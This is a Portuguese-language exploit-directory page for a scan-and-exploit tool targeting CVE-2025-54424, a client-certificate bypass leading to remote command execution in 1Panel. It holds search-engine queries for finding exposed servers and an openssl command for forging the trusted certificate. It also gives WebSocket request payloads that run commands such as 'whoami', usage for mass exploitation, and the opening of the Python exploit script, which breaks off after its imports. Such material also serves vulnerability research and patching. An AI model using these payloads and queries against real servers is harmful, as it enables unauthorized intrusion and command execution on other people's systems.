Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-54424 — CVE-2025-54424: Ferramenta integrada para a vulnerabilidade de RCE por bypass de certificado de cliente do 1Panel (varredura + exploração) | Kitploit
Ferramentas/GitHubGitHub/mr-xn/cve-2025-54424
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleFerramenta de Acesso RemotoArchived
GitHubmr-xn/cve-2025-54424

CVE-2025-54424

CVE-2025-54424: Ferramenta integrada para a vulnerabilidade de RCE por bypass de certificado de cliente do 1Panel (varredura + exploração)

Ver Repositório
59116há 1 anoAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-54424

CVE-2025-54424: Vulnerabilidade de RCE no 1Panel por bypass de certificado de cliente — Ferramenta integrada (varredura + exploração)

Sobre a vulnerabilidade

O 1Panel é um painel de operação e manutenção Linux moderno e de código aberto, que fornece uma interface gráfica para implantar sites, gerenciar servidores e executar serviços.

Nas versões afetadas, a política de autenticação TLS do lado do Agent é tls.RequireAnyClientCert, que apenas exige a apresentação de um certificado, sem verificar sua confiabilidade. Um atacante pode usar um certificado autoassinado para contornar a validação TLS e forjar o campo CN como panel_client, contornando a validação na camada de aplicação. Com isso, o atacante pode forjar um certificado para fazer chamadas não autorizadas a interfaces de execução de comandos, resultando na vulnerabilidade de execução remota de comandos.

Versões afetadas

<= v2.0.5

Sintaxes de reconhecimento

As sintaxes de busca do Hunter e do Fofa são as seguintes:

cert.subject_org=="FIT2CLOUD"&&ip.port="9999” || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

Análise da vulnerabilidade

Copiar parte do aviso de vulnerabilidade do GitHub

  • Primeiro, apresente os conceitos de lado Core e lado Agent do 1Panel v2. Após o lançamento da nova versão, o 1Panel adicionou o recurso de gerenciamento de nós, permitindo controlar outras máquinas por meio da adição de nós.
  • Além disso, o protocolo HTTPS usado na comunicação entre o Core e o Agent não verifica completamente a autenticidade do certificado durante a validação, resultando em acesso não autorizado às interfaces. Como o 1Panel possui muitas interfaces de execução de comandos ou de altos privilégios, isso leva a RCE.

Processo de auditoria de código

  1. Primeiro, entramos no arquivo de rotas HTTP do Agent, agent/init/router/router.go

  1. Descobrimos que a função Routers referencia a função Certificate, que realiza uma validação global em agent/middleware/certificate.go

  2. Descobrimos que a função Certificate verifica c.Request.TLS.HandshakeComplete para determinar se a comunicação ocorreu por meio de certificado.

  3. Como a verificação de c.Request.TLS.HandshakeComplete é realizada por tls.RequireAnyClientCert, presente na função Start do arquivo agent/server/server.go Nota: como aqui é usado tls.RequireAnyClientCert em vez de tls.RequireAndVerifyClientCert, o RequireAnyClientCert apenas exige que o cliente apresente um certificado, sem verificar a CA que o emitiu. Portanto, qualquer certificado autoassinado pode passar no handshake TLS.

  4. Em seguida, ao passar pelas demais verificações da função Certificate, apenas o campo CN do certificado é validado como panel_client; o emissor do certificado não é verificado. Por fim, foi descoberto que conexões WebSocket podem contornar a validação de Proxy-ID.

  5. O projeto possui um grande número de interfaces WebSocket.

  • Interface WebSocket de Process (com base no problema acima, é possível obter informações confidenciais, como todos os processos) Rota: /process/ws O formato da solicitação é o seguinte:
{
  "type": "ps",           // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
  "pid": 123,             // 可选,指定进程ID进行筛选
  "name": "process_name", // 可选,根据进程名筛选
  "username": "user"      // 可选,根据用户名筛选
}

  • Interface WebSocket do Terminal SSH (com base no problema acima, permite executar comandos arbitrários) Rota: /hosts/terminal O formato da solicitação é o seguinte:
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // "whoami" 的base64编码,记住不要忘记回车。
}

  • Interface WebSocket do Terminal do Container (interface para executar comandos em containers) Rota: /containers/terminal
  • Interface WebSocket do Processo de Download de Arquivos (envia automaticamente informações de progresso do download) Rota: /files/wget/process

Reprodução da Vulnerabilidade

Reprodução Manual

  1. Gerar o certificado

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. No Burp, carregue o panel_client.crt e o panel_client.key gerados, abra a solicitação WebSocket, defina o alvo e inicie a solicitação.

Detecção em Massa

Use o script CVE-2025-54424.py, ferramenta que desenvolvi, para detecção e exploração em massa. As instruções de uso da ferramenta são as seguintes:

Instale as dependências necessárias: pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     单个目标,进入利用模式。例如: 192.168.1.100:8080
  -f FILE, --file FILE  目标文件,进入批量扫描模式。
  -o OUTPUT, --output OUTPUT
                        [扫描模式] 保存漏洞结果的文件名。
  -t THREADS, --threads THREADS
                        [扫描模式] 并发线程数。
  --proxy PROXY         为所有请求设置代理。例如: http://127.0.0.1:8080

Por exemplo, detecção de um único alvo + execução de comandos (execução interativa de comandos via SSH) é mostrada na imagem abaixo:

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---
Baixar ferramenta